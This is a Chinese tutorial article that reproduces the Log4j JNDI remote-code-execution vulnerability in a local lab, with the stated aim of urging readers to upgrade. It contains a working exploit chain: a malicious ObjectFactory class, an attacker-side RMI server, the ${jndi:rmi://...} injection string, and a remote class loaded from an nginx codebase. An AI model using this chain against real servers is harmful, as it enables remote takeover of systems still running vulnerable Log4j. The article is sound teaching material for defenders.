7

冰河连夜复现了Log4j最新史诗级重大漏洞

 1 year ago
source link: https://netsecurity.51cto.com/article/710283.html
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

冰河连夜复现了Log4j最新史诗级重大漏洞-51CTO.COM

冰河连夜复现了Log4j最新史诗级重大漏洞
作者:冰河 2022-05-30 14:04:23
今天,我们就一起重现下Log4j的这个重大漏洞。希望各位小伙伴们了解到这个漏洞的严重性后,尽快升级项目中所适用的Log4j版本。
a153cd768e33983beb4692f1660ec7ae7b6ce3.png

大家好,我是冰河~~

周末与一些小伙伴交流的过程当中,发现一些小伙伴公司的项目中使用的Log4j版本还是2.14.0,我一听就有点震惊了:你们还在使用Log4j的2.14.0版本,这个版本存在重大漏洞啊!

但是有些小伙伴看起来对Log4j中存在的重大漏洞不以为意。“我们项目中使用的Log4j一直是2.14.0这个版本啊,一直没啥问题啊!”。哎,看来有些小伙伴对Log4j2.14.0版本存在的漏洞还是不太了解呀!

图片

相信有不少小伙伴都还记得在2021年12月份发布的Log4j(2.14.1及以下版本)重大漏洞,这个漏洞主要是利用Log4j支持的JNDI技术在服务器上执行任意代码。并且此漏洞的安全威胁巨大。官方给出的评估如下。

  • 公开程度:漏洞细节已公开。
  • 利用条件:无权限要求。
  • 交互要求:0 click。
  • 漏洞危害:高危、远程代码执行。
  • 影响范围:Log4j2.x <= 2.14.1。

以上评估来自:https://x.threatbook.cn/v5/article?threatInfoID=10470。

这个漏洞非常非常严重,但是有些小伙伴还在不以为然,今天,我们就一起重现下Log4j的这个重大漏洞。希望各位小伙伴们了解到这个漏洞的严重性后,尽快升级项目中所适用的Log4j版本。

另外,就像我写的《冰河的渗透实战笔记》中描述的那样,骇客和骇客有着本质的区别,本文会模拟骇客利用Log4j漏洞入侵服务器的整个过程。对渗透感兴趣的小伙伴可以在 冰河技术 公号回复 渗透笔记 获取《冰河的渗透实战笔记》电子书。

重现Log4j重大漏洞

为了重现Log4j的重大漏洞,我在IDEA中创建了一个Maven项目log4j-demo,如下所示。

图片

其中log4j-all模块表示本次重现Log4j重大漏洞的所有代码示例。后续为了更好的演示真实的环境效果,我将log4j-all中的代码由拆分成log4j-rmi和log4j-website两个Maven模块。

其中,大家要重点理解的是log4j-rmi模拟的是在一名骇客本地运行的RMI服务,而log4j-website模拟的是一个远程站点,也就是将要被入侵的服务器。在本文中会有详细的场景介绍。

总体项目依赖

打开log4j-demo(Maven父工程)的pom.xml文件,如下所示。

<modules>
    <module>log4j-rmi</module>
    <module>log4j-website</module>
    <module>log4j-all</module>
</modules>
<dependencies>
    <dependency>
        <groupId>org.apache.logging.log4j</groupId>
        <artifactId>log4j-api</artifactId>
        <version>2.14.0</version>
    </dependency>
    <dependency>
        <groupId>org.apache.logging.log4j</groupId>
        <artifactId>log4j-core</artifactId>
        <version>2.14.0</version>
    </dependency>

</dependencies>
<build>
    <plugins>
        <plugin>
            <groupId>org.apache.maven.plugins</groupId>
            <artifactId>maven-compiler-plugin</artifactId>
            <version>3.6.1</version>
            <configuration>
                <source>1.8</source>
                <target>1.8</target>
            </configuration>
        </plugin>
    </plugins>
</build>

可以看到,在log4j-demo(Maven父工程)的pom.xml文件中只是依赖了Apache的2.1.40版本的Log4j,并没有其他多余的Maven依赖。

重现log4j-all漏洞

这里,我们首先以log4j-all模块为例,重现Log4j最新重大漏洞。

log4j-all整体说明

log4j-all模块整体的代码情况如下所示。

图片

如上图所示:

  • ​io.binghe.log4j.rmi​​包下的RmiObj类和RmiServer类模拟的是运行在骇客本地的RMI服务。
  • ​io.binghe.log4j​​包下的Log4jDemo类模拟的是远程站点。
  • log4j2.xml:Log4j的日志配置文件。

Log4j日志配置

首先看下log4j-all模块下resources目录下的log4j2.xml文件,如下所示。

<?xml version="1.0" encoding="UTF-8"?>
<Configuration status="WARN">
    <Appenders>
        <Console name="Console" target="SYSTEM_OUT">
            <PatternLayout pattern="%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg%n"/>
        </Console>
    </Appenders>
    <Loggers>
        <Root level="info">
            <AppenderRef ref="Console"/>
        </Root>
    </Loggers>
</Configuration>

可以看到,模块下对于Log4j的配置也比较简单,主要就是配置了一个info级别的日志输出,并且是输出到控制台。

模拟远程站点代码解析

(1)查看​​io.binghe.log4j.Log4jDemo​​类的代码,如下所示。

/**
 * @author binghe (公众号:冰河技术)
 * @version 1.0.0
 * @description Log4j漏洞示例
 */
public class Log4jDemo {
    private static final Logger LOGGER = LogManager.getLogger();

    public static void main(String[] args){
        try {
            String str = "binghe";
            LOGGER.info("输出的信息是:{}", str);
        }catch (Exception e){}
    }
}

相信不少小伙伴在使用Log4j时,会按照上面的方式打印日志。也就是使用Log4j打印日志的{}占位符,后面再跟上要打印的参数。运行下上面的代码,输出的日志如下所示。

10:45:07.560 [main] INFO  io.binghe.log4j.Log4jDemo - 输出的信息是:binghe

可以看到,正确输出了日志信息​​输出的信息是:binghe​​。

(2)修改​​io.binghe.log4j.Log4jDemo​​类的代码中的str字符串变量,将其修改成如下所示。

String str = "${java:os}";

这里,我们将str字符串变量的值由原理的​​binghe​​​修改为​​${java:os}​​​,我们先不管​​${java:os}​​​是个什么鬼,继续运行​​io.binghe.log4j.Log4jDemo​​​类,看看输出的日志信息是​​${java:os}​​,还是别的什么鬼玩意儿,运行后输出的结果信息如下所示。

10:48:18.977 [main] INFO  io.binghe.log4j.Log4jDemo - 输出的信息是:Windows 10 10.0, architecture: amd64-64

看到没,输出的信息不是​​${java:os}​​​,而是我正在重现Log4j重大漏洞的电脑操作系统版本​​Windows 10 10.0, architecture: amd64-64​​。

我们继续将str字符串换成几个其他的变量值试试,如下所示。

  • 将str字符串换成​​${java:runtime}​​,输出的结果信息如下所示。
10:51:51.334 [main] INFO  io.binghe.log4j.Log4jDemo - 输出的信息是:Java(TM) SE Runtime Environment (build 1.8.0_202-b08) from Oracle Corporation

可以看到,输出的结果信息是当前Java的运行时环境​​Java(TM) SE Runtime Environment (build 1.8.0_202-b08) from Oracle Corporation​​​,并不是​​${java:runtime}​​。

  • 将str字符串换成​​${java:vm}​​,输出的结果信息如下所示。
10:53:20.974 [main] INFO  io.binghe.log4j.Log4jDemo - 输出的信息是:Java HotSpot(TM) 64-Bit Server VM (build 25.202-b08, mixed mode)

可以看到,输出的结果信息是​​Java HotSpot(TM) 64-Bit Server VM (build 25.202-b08, mixed mode)​​​,并不是​​${java:vm}​​。

看到这里,可能就会有小伙伴有疑问了,Log4j为哈会打印有关操作系统和Java的相关信息呢?

这其实都是Log4j支持JNDI的结果,有关Log4j支持JNDI的信息,小伙伴们可以参考如下链接,这里我就不再过多的赘述了。

https://logging.apache.org/log4j/2.x/manual/lookups.html

在上面的示例中,我们演示的是Log4j支持的Java Lookup功能。

图片

上述图片来自:https://logging.apache.org/log4j/2.x/manual/lookups.html。

模拟骇客本地进程代码解析

(1)在​​io.binghe.log4j.rmi​​下存在这两个Java类,一个是RmiObj类,一个是RmiServer类,这两个类模拟的是在骇客本地运行的RMI服务。首先,来看下RmiObj的代码,如下所示。

/**
 * @author binghe (公众号:冰河技术)
 * @version 1.0.0
 * @description 模拟log4j的漏洞
 */
public class RmiObj implements ObjectFactory {
    static {
        System.out.println("执行代码");
        //这里可以写任意代码,比如木马程序,病毒程序,死循环,后门程序等等。
    }
    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        return null;
    }
}

可以看到,RmiObj类的代码比较简单,它实现了​​javax.naming.spi.ObjectFactory​​​接口,但是并没有实现​​javax.naming.spi.ObjectFactory​​接口中的getObjectInstance()方法,在getObjectInstance()方法中直接返回null。

这里,重点是在RmiObj中写了一个静态代码块,如下所示。

static {
    System.out.println("执行代码");
    //这里可以写任意代码,比如木马程序,病毒程序,死循环,后门程序等等。
}

就是这个静态代码块,让骇客利用Log4j的远程代码执行漏洞,可以在远程服务器上做任何想要做的事情。

这里,我们只是在静态代码块中简单的打印了​​执行代码​​四个字,如果你的项目被骇客盯上了,或许就没我这么友善了。

(2)接下来,看下​​io.binghe.log4j.rmi​​包下的RmiServer类,如下所示。

/**
 * @author binghe (公众号:冰河技术)
 * @version 1.0.0
 * @description 模拟漏洞的RMIServer
 */
public class RmiServer {

    public static void main(String[] args){
        try{
            LocateRegistry.createRegistry(1099);
            Registry registry = LocateRegistry.getRegistry();

            System.out.println("RMI Listener 1099 port");
            Reference reference = new Reference("io.binghe.log4j.rmi.RmiObj", "io.binghe.log4j.rmi.RmiObj", null);

            ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
            registry.rebind("test", referenceWrapper);

        }catch (Exception e){
            e.printStackTrace();
        }
    }
}

RmiServer主要模拟的是在骇客本地运行的RMI进程,而且在log4j-all模块中​​io.binghe.log4j.rmi​​包下的RmiObj类和RmiServer都是在骇客本地的代码。

RmiServer类中的代码也是比较简单的,就是按照常规模式发了一个RMI服务。需要注意的是,在RmiServer类中使用Reference类加载了RmiObj类的代码,并且将RMI服务发布在1099端口上,路径是​​/test​​。

启动重现漏洞程序

(1)运行​​io.binghe.log4j.rmi.RmiServer​​类的main()方法骇客本地的RMI服务,启动后输出的日志信息如下所示。

RMI Listener 1099 port

(2)回到模拟远程站点的​​io.binghe.log4j.Log4jDemo​​代码,将其中的str字符串变量修改成如下所示。

String str = "${jndi:rmi://192.168.0.106:1099/test}";

其中,​​jndi:rmi://192.168.0.106:1099/test​​​就是利用Log4j的JNDI技术连接远程RMI服务,其中的​​192.168.0.106​​表示我本机的IP地址,1099是启动RMI服务监听的端口号,test是发布RMI服务的根目录。

(3)启动​​io.binghe.log4j.Log4jDemo​​类的main()方法,输出了如下的日志信息。

执行代码
11:38:22.380 [main] INFO  io.binghe.log4j.Log4jDemo - 输出的信息是:${jndi:rmi://192.168.0.106:1099/test}

可以看到,在模拟远程站点的Log4jDemo输出的日志中,不仅打印除了Log4j的日志,还打印了在模拟骇客本地RMI服务的​​io.binghe.log4j.rmi.RmiObj​​类中的代码。

这意味着什么呢?意味着在远程服务器上执行了骇客本地的程序,而骇客是可以在自己本地的​​io.binghe.log4j.rmi.RmiObj​​类的静态代码块中写任意代码的,是不是很恐怖,这确实是Log4j的一个重大漏洞。

漏洞具体场景分析

说到这里,可能有小伙伴不太理解上述代码的执行逻辑。这里,我给大家举一个具体场景的示例。

(1)一名骇客在自己的本地电脑或者自己的服务器上编写了RmiObj类和RmiServer类,并且在RmiObj类的静态代码块中写了很多破坏远程服务器的代码,比如木马程序、病毒程序、后门程序,死循环等等。在本地电脑或者自己的服务器上启动了RmiServer类来启动一个RMI服务,而RmiServer启动时会加载RmiObj类,如下所示。

图片

(2)在远程站点的Web登录页面中的用户名文本框中输入了字符串​​${jndi:rmi://192.168.0.106:1099/test}​​​,当前具体的IP地址和端口号以及RMI服务的根路径根据骇客的具体情况调整。点击登录按钮后模拟登录操作,就会将用户名​​${jndi:rmi://192.168.0.106:1099/test}​​和乱写的密码发送到远程站点的后台。

图片

如果远程站点的后台在接收到用户名​​${jndi:rmi://192.168.0.106:1099/test}​​和乱写的密码后,在没有做参数校验的情况下,直接利用Log4j按照如下方式,打印传递过来的用户名和密码。

String username = request.getParameter("username");
String password = request.getParameter("password");
logger.info("用户名为:{}, 密码为:{}", username, password);

此时就会触发Log4j的重大漏洞,在远程站点的服务器上执行骇客本地RmiObj类中的static静态代码块中编写的破坏服务器的代码。相信此时远程站点的服务器就会凉凉了。

至此,我们分析完log4j-all模块了。

重现真实场景漏洞

在log4j-all模块中,我们的所有程序都是在同一个代码模块中的,也就是都在同一个项目中,真实的环境是:RMI服务运行在骇客的本地电脑或者自己的服务器上,而远程站点会运行在远程服务器上。接下来,我们就开始模拟一个更加贴合真实环境的场景。

模拟真实场景项目说明

为了模拟真实场景,这里,我将log4j-all模块继续拆分成log4j-rmi模块和log4j-website模块,其中,log4j-rmi模块模拟运行在骇客本地或自己服务器上的RMI服务,而log4j-website模块模拟远程站点。

图片

log4j-website模块代码分析

在log-website模块中的代码比较简单,整体上在resources目录下有一个log4j2.xml文件,内容与log4j-all模块的log4j2.xml文件内容相同。在log-website模块的​​io.binghe.log4j​​包中存在一个Log4jDemo类,代码也与log4j-all模块中的Log4jDemo类的代码基本相同(有稍许不同)。这里,为了模拟远程站点一般部署在远程服务器上,这里将模拟远程站点的Log4jDemo类单独拆分成一个Maven模块工程。log4j-website模块代码结构如下所示。

图片

注意:在log-website模块中的Log4jDemo类的main()方法中会新增如下两行代码。

System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");

好了,这就是在log-website模块下模拟的远程站点的Log4jDemo类。

log4j-rmi模块代码分析

我们将log4j-all模块中模拟骇客本地RMI服务的RmiObj类和RmiServer类拆分到了log4j-rmi模块。log4j-rmi模块代码结构如下所示。

图片

其中,RmiObj类与log4j-all中的RmiObj类相同。而RmiServer类比log4j-all模块中的RmiServer类有稍许不同。我们来看下在log4j-rmi模块中的RmiServer类,如下所示。

/**
 * @author binghe (公众号:冰河技术)
 * @version 1.0.0
 * @description 模拟漏洞的RMIServer
 */
public class RmiServer {
    public static void main(String[] args){
        try{
            LocateRegistry.createRegistry(1099);
            Registry registry = LocateRegistry.getRegistry();

            System.out.println("RMI Listener 1099 port");
            Reference reference = new Reference("RmiObj", "RmiObj", null);

            ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
            registry.rebind("test", referenceWrapper);

        }catch (Exception e){
            e.printStackTrace();
        }
    }
}

可以看到在log4j-rmi模块中的RmiServer类中,创建Reference对象时传递的参数与在log4j-all的RmiServer类中创建Reference对象时传递的参数不同。在RmiServer类中创建Reference对象时传递的参数是RmiObj的全类名,而这里传递的是简单类名。细心的读者应该已经发现了,我在log4j-rmi模块中将RmiObj类和RmiServer类都移动到了java目录下,并没有创建Java包。

第一次运行程序模拟真实场景

(1)启动log4j-rmi模块下的RmiServer类,会打印出如下日志信息。

RMI Listener 1099 port

说明RMI服务启动成功,并监听了1099端口。

(2)运行log4j-website模块下的Log4jDemo类,输出的日志信息如下所示。

12:44:23.021 [main] INFO  io.binghe.log4j.Log4jDemo - 输出的信息是:Reference Class Name: RmiObj

可以看到,在log4j-website模块下的Log4jDemo类中并没有打印出log4j-rmi模块下的RmiObj类中static静态代码块中输出的信息。

也就是说,远程站点不会执行骇客本地的代码,真实环境不存在这个漏洞?答案是非也,真实环境也存在远程代码执行漏洞。

改造log4j-rmi模块代码

(1)到链接http://nginx.org/en/download.html下载一个Nginx,这里我下载的是Windows版本的Nginx,版本号是1.22.0,如下所示。

图片

(2)将下载后的Nginx进行解压,这里,我将Nginx解压到我本地电脑的D盘下的​​Nginx/nginx-1.22.0​​目录下,如下所示。

图片

(3)使用Maven编译log4j-demo整体功能,找到编译后的log4j-rmi模块下的​​target/classes​​目录下的RmiObj.class文件,如下所示。

图片

(4)将编译后的log4j-rmi模块下的​​target/classes​​目录下的RmiObj.class文件复制到Nginx的html目录下,如下所示。

图片

复制后的效果如下所示。

图片

(5)双击Nginx目录下nginx.exe文件启动Nginx,如下所示。

图片

(6)修改log4j-rmi模块下的RmiServer类的代码,将创建Reference对象时,调用Reference类的构造方法的第三个参数修改成​​http://127.0.0.1:80/​​,如下所示。

Reference reference = new Reference("RmiObj", "RmiObj", "http://127.0.0.1:80/");

上述代码表示创建Reference类时,加载了Nginx下的RmiObj.class文件中的RmiObj类。

至此,log4j-rmi模块的代码就改造完成了。

第二次运行程序模拟真实场景

(1)启动log4j-rmi模块下的RmiServer类,会打印出如下日志信息。

RMI Listener 1099 port

说明RMI服务启动成功,并监听了1099端口。

(2)运行log4j-website模块下的Log4jDemo类,输出的日志信息如下所示。

执行代码
13:04:22.542 [main] INFO  io.binghe.log4j.Log4jDemo - 输出的信息是:${jndi:rmi://192.168.0.106:1099/test}

可以看到,这次在log4j-website模块下的Log4jDemo程序的命令行打印出了从Nginx中加载的RmiObj类的静态代码块中输出的信息,而Nginx中的RmiObj类其实就是骇客本地的RmiObj类。

至此,我们再次重现了Log4j的重大漏洞。

漏洞真实场景分析

这里真实场景分析中,远程站点服务器的执行流程与重现log4j-all漏洞中漏洞具体场景分析下的远程站点服务器执行流程相同,都是如下图所示。

图片

而骇客本地RMI服务程序的执行流程稍有不同,这里的流程如下图所示。

图片

理解起来也比较简单,这里,我就不再赘述了。

这次的Log4j远程代码执行漏洞威胁很大,不仅很多开源软件受其影响,而且还有很多服务器也深受其害。所以,各位小伙伴们如果在项目中使用的Log4j的版本小于等于2.14.1,那就尽快升级到更高版本的Log4j吧,升级Log4j刻不容缓,大家赶紧行动起来。


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK